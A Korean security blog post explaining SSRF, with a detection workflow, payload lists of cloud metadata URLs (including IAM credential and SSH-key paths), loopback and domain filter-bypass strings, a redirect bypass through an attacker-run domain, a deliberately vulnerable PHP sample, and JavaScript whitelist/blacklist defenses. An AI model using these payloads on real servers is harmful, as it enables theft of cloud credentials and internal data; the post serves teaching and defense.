앵하니의 더 나은 보안

SSRF 본문

보안 기술/WEB

SSRF

앵한 2023. 10. 1. 21:42

서론

왜인진 모르겠지만 2021년부터 OWASP TOP 10으로 SSRF가 등재되면서 SSRF 취약점 떡상의 경종을 울렸다.
근데 취약점 진단하면서 SSRF 취약점은 발견한 적이 없어서 한번 정리해보고자 한다.

본론

SSRF?

CSRF는 불특정 다수의 clinet에 악성 스크립트를 노출시키는 것인 반면, SSRF는 서버의 시스템에 악성 스크립트를 노출시켜 특정 행위를 유발, DMZ에서 접근 불가한 데이터까지 외부에서 접근해 정보를 탈취해 낼 수 있는 취약점이다. 그렇다고 방식이 CSRF와 유사하진 않다. 보통 파라미터 값으로 해당 웹 서버 시스템의 루프백이나 내부 IP, 내부 도메인 URI 혹은 그 일부를 전달해 데이터를 탈취한다.

 

그래서 점검 방법은? 어디서, 어떻게 발견할 수 있는 취약점인디?

단순히 취약점이 위력만 있어서는 OWASP TOP 10에 들어갈 순 없고, 그만큼 취약점의 발생 빈도가 따라와줘야 OWASP TOP 10에 들어설 수 있다.(2021년 기준 평균 발생률 2.72%) 그럼 대체 어디서 SSRF 취약점들이 나왔길래 TOP 10에 올라간걸까 그리고 나는 왜 발견한 적이 없을까

보통 사이트에서 이미지를 캡처하거나 웹 사이트의 정보를 읽어오는 기능(구글/파파고 웹 사이트 번역 서비스 또는 웹 VPN 프록시 서비스 등)에서 자주 발생하고, API 환경에서 자주 노출된다고 한다.
그리고 의심되는 부분이 있다면 Burpsuite의 collaborator 또는 ZAP의 OAST를 활용해 쉽고 확실하게 테스트 가능하다고 한다. collaborator의 경우 burp professional 혹은 enterprise 라이센스가 있어야하니 그냥 ZAP의 OAST를 쓰자

간단하게 나열하면 대략 요런 과정으로 취약점을 도출한다.

  1. 발생 파라미터 추측
  2. Callback 서버 구축 후 해당 서버정보를 파라미터 값으로 전송
  3. Callback 서버 로그에 서버의 IP가 기록되면, 블랙리스트 기반의 입력 값 검증을 수행한다 가정
  4. 내부 IP 또는 내부 도메인 리스트 확보(hosts 파일이든, 브루트포스든, 게싱이든, 사회공학적 기법이든…)
  5. 파라미터 값으로 웹 서버 루프백의 특정 파일 경로(file://etc/passwd),확보한 내부 IP를 입력해 접근 시도
  6. 접근 되는 경우 취약 파라미터 특정

SSRF Exploitation

취약 포인트를 발견했다면 아래 well-known 경로들에 접근시켜 내부 정보들을 탈취해보자

서버가 AWS로 구축된 경우 아래 메타데이터 경로를 통해 중요 내부 정보 탈취 가능성 존재

http://169.254.169.254/latest/meta-data/iam/security-credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document

 

Google Cloud로 구축된 경우 아래 경로로 접근시켜 확인
단, 'Metadata-Flavor: Google" or "X-Google-Metadata-Request: True' 라는 HTTP 헤더 값 필요

http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

 

MS Azure로 구축된 경우 아래 경로로 접근시켜 확인

http://169.254.169.254/metadata/v1/maintenance
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

 

Bypass 기법

Bypass Loopback

루프백에 대한 블랙리스트 기반 필터링은 다음과 같은 표현으로 우회 가능하다.

http://127.0.0.1
http://0.0.0.0
http://localhost
http://[::]
http://0000::1
http://spoofed.burpcollaborator.net
http://localtest.me
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
http://0/
http://127.1
http://127.0.1
http://2130706433
http://0177.0.0.1
http://o177.0.0.1
http://0o177.0.0.1
http://q177.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1] #IPv6

 

Bypass Domain (Era of SSRF)

도메인을 특정해 블랙리스트 기반으로 필터링했다면 다음과 같은 표현으로 우회 가능하다.

http://trustdomain.com.untrust.com
http://trustdomain.com@untrust.com
http://untrust.com#.trustdomain.com
http://untrust.com?.trustdomain.com
http://untrust.com.trustdomain.com
http://untrust.com\@trustdomain.com
http://untrust.com\@@trustdomain.com
http://untrust.com:\@@trustdomain.com
http://untrust.com#\@trustdomain.com

# if blacklist protection,
http://ⓊⓃⓉⓇⓊⓈⓉ.ⒸⓄⓂ
http://ⓤⓝⓣⓡⓤⓢⓣ.ⓒⓞⓜ
http://⒰⒩⒯⒭⒰⒮⒯.⒞⒪⒨

 

HTTP Redirect

@,#과 같은 특수문자 입력이 필터링 돼있다면, HTTP Redirect를 이용해 우회가 가능하다.
🔻 가상 사이트 ssrf.vulnerability.site.com의 예시 php 소스

<?php

function ssrf_check($url){
  if(strpos($url,"127.0.0.1") == true){
    exit(); // url에 127.0.0.1이 있으면 차단
  }
}

function getHtml($url, $post = null) {
    ssrf_check($url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    if(!empty($post)) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    } 
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

echo getHtml($_GET['parameter']);
?>

만약 위와 같은 블랙리스트 방식으로 SSRF를 방지하고 있다면 HTTP Redirection을 이용해 우회가 가능하다. 예로, 취약점이 존재할 법한 파라미터 값으로 아래와 같은 CnC 서버 도메인(ssrf.bypass.domain.com) 값을 전달한다.

https://ssrf.vulnerability.site.com/ssrf.php?parameter=https://ssrf.bypass.domain.com

이때 파라미터로 전달한 해커의 CnC(ssrf.bypass.domain.com) 사이트에서는 블랙리스트로 설정된 URL(127.0.0.1)로 302 Redirection을 설정해 놓는다.

그럼 제한한 파라미터 조건문을 통과하면서 ssrf.vulnerability.site.com 시스템에서 본인의 루프백 주소로 접근 시키는게 가능해진다.

 

시연 환경에서는 루프백 주소를 예시로 들었지만, 해당 우회 기법은 루프백 주소로 한정되지 않고 얼마든지 응용 가능하다.

 

결론

이것도 우회되고 저것도 우회된다 그러면 어떻게 막지?

  1. DMZ 시스템과 다른 내부 시스템들의 네트워크를 완전 격리
  2. DMZ 시스템과 내부 시스템 간 상호 접근 포트의 제한
  3. 화이트리스트 기반의 입력 값 검증 수행 단, 특수문자(#,@,:)의 입력을 제한
const { URL } = require('url');

// 허용할 도메인 목록을 화이트리스트로 지정
// 이곳에 화이트리스트로 허용할 도메인을 추가
const ALLOWED_DOMAINS = [
  "example.com",
  "api.example.com",
];

function isValidUrl(url) {
  // URL이 유효한지 확인하는 함수
  try {
    new URL(url);
    return true;
  } catch (error) {
    return false;
  }
}

function isAllowedDomain(url) {
  // URL의 도메인이 허용 목록에 있는지 확인하는 함수
  const parsedUrl = new URL(url);
  if (ALLOWED_DOMAINS.includes(parsedUrl.hostname)) {
    return true;
  }
  return false;
}

function isValidInput(inputString) {
  // 입력 문자열이 유효한지 확인하는 함수
  // 여기서는 '#'과 '@'과 ':'가 입력에 포함되지 않도록 필터링
  if (inputString.includes("#") || inputString.includes("@")|| inputString.includes(":")) {
    return false;
  }
  return true;
}

function checkSsrfVulnerability(url) {
  // SSRF 취약점을 검사하는 함수
  if (!isValidInput(url)) {
    console.log("잘못된 입력 형식입니다.");
    return false;
  }

  if (!isValidUrl(url)) {
    console.log("유효하지 않은 URL입니다.");
    return false;
  }

  if (!isAllowedDomain(url)) {
    console.log("허용되지 않은 도메인입니다.");
    return false;
  }

  console.log("URL 검사를 통과했습니다.");
  // 여기에서 SSRF 공격에 대한 추가적인 로직을 수행 가능
  // 예를 들어, 해당 URL로 요청을 보내고 응답을 처리하는 등의 작업을 수행
  return true;
}

// 사용 예시
const inputUrl = prompt("확인할 URL을 입력하세요: ");
checkSsrfVulnerability(inputUrl);

  4. 화이트리스트로 입력 값 검증을 하기에 서비스에 제약이 많다면 블랙리스트 기반으로 제한하되, 되도록 정규표현식으로 빈틈 없이 제한할 것

const { URL } = require('url');

// 블랙리스트에 포함될 주소 패턴을 정규표현식으로 작성
// 루프백, 10.x.x.x, 192.168.x.x, 172.16.x.x ~ 172.31.x.x 네트워크 접근 제한
const BLACKLIST_PATTERN = /^(localhost|127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[0-1])\.\d{1,3}\.\d{1,3})$/;

function isValidUrl(url) {
  // URL이 유효한지 확인하는 함수
  try {
    new URL(url);
    return true;
  } catch (error) {
    return false;
  }
}

function isAllowedDomain(url) {
  // URL이 블랙리스트에 포함된 주소 패턴과 일치하는지 확인하는 함수
  const parsedUrl = new URL(url);
  return !BLACKLIST_PATTERN.test(parsedUrl.hostname);
}

function isValidInput(inputString) {
  // 입력 문자열이 유효한지 확인하는 함수
  // 여기서는 '#'과 '@'과 ':'가 입력에 포함되지 않도록 필터링
  if (inputString.includes("#") || inputString.includes("@")|| inputString.includes(":")) {
    return false;
  }
  return true;
}

function checkSsrfVulnerability(url) {
  // SSRF 취약점을 검사하는 함수
  if (!isValidInput(url)) {
    console.log("잘못된 입력 형식입니다.");
    return false;
  }

  if (!isValidUrl(url)) {
    console.log("유효하지 않은 URL입니다.");
    return false;
  }

  if (!isAllowedDomain(url)) {
    console.log("접근이 허용되지 않은 주소입니다.");
    return false;
  }

  console.log("URL 검사를 통과했습니다.");
  // 여기에서 SSRF 공격에 대한 추가적인 로직을 수행 가능
  // 예를 들어, 해당 URL로 요청을 보내고 응답을 처리하는 등의 작업을 수행
  return true;
}

// 사용 예시
const inputUrl = prompt("확인할 URL을 입력하세요: ");
checkSsrfVulnerability(inputUrl);

잡설

SSRF의 대부 ProxyLogon(CVE-2021-26855)

2021년 MS Exchange 2013/2016/2019 서버에 존재했던 아주 고약한 놈인데 당시 해당 서버의 메일 서비스를 사용했던 회사는 모두 취약했다고 보면 된다. 이 취약점은 인증정보 없이 로그인이 가능했던 취약점인데, KB50000871 보안 패치로 조치되었으니 혹 해당 보안 패치가 적용되지 않은 환경이 보이면 ProxyLogon을 떠올려 써먹자

 

참고

https://www.igloo.co.kr/security-information/ssrf-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EA%B3%B5%EA%B2%A9%EC%82%AC%EB%A1%80-%EB%B6%84%EC%84%9D-%EB%B0%8F-%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88/

https://www.hahwul.com/cullinan/ssrf/

https://www.hahwul.com/2019/02/22/bypass-ssrf-protection-using-http-redirect/

https://www.hahwul.com/2017/09/14/web-hacking-new-attack-vectors-in/

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#ssrf-url-for-cloud-instances

'보안 기술 > WEB' 카테고리의 다른 글

HTTP 보안헤더  (0) 2023.10.12
HTTPS(SSL/TLS) 세션 성립 과정  (0) 2023.10.08
Session storage JWT token 탈취 시도  (0) 2023.06.09
JWT 검증 우회 +α  (0) 2023.06.09
CSRF 취약점과 대응방안  (0) 2022.08.22
Comments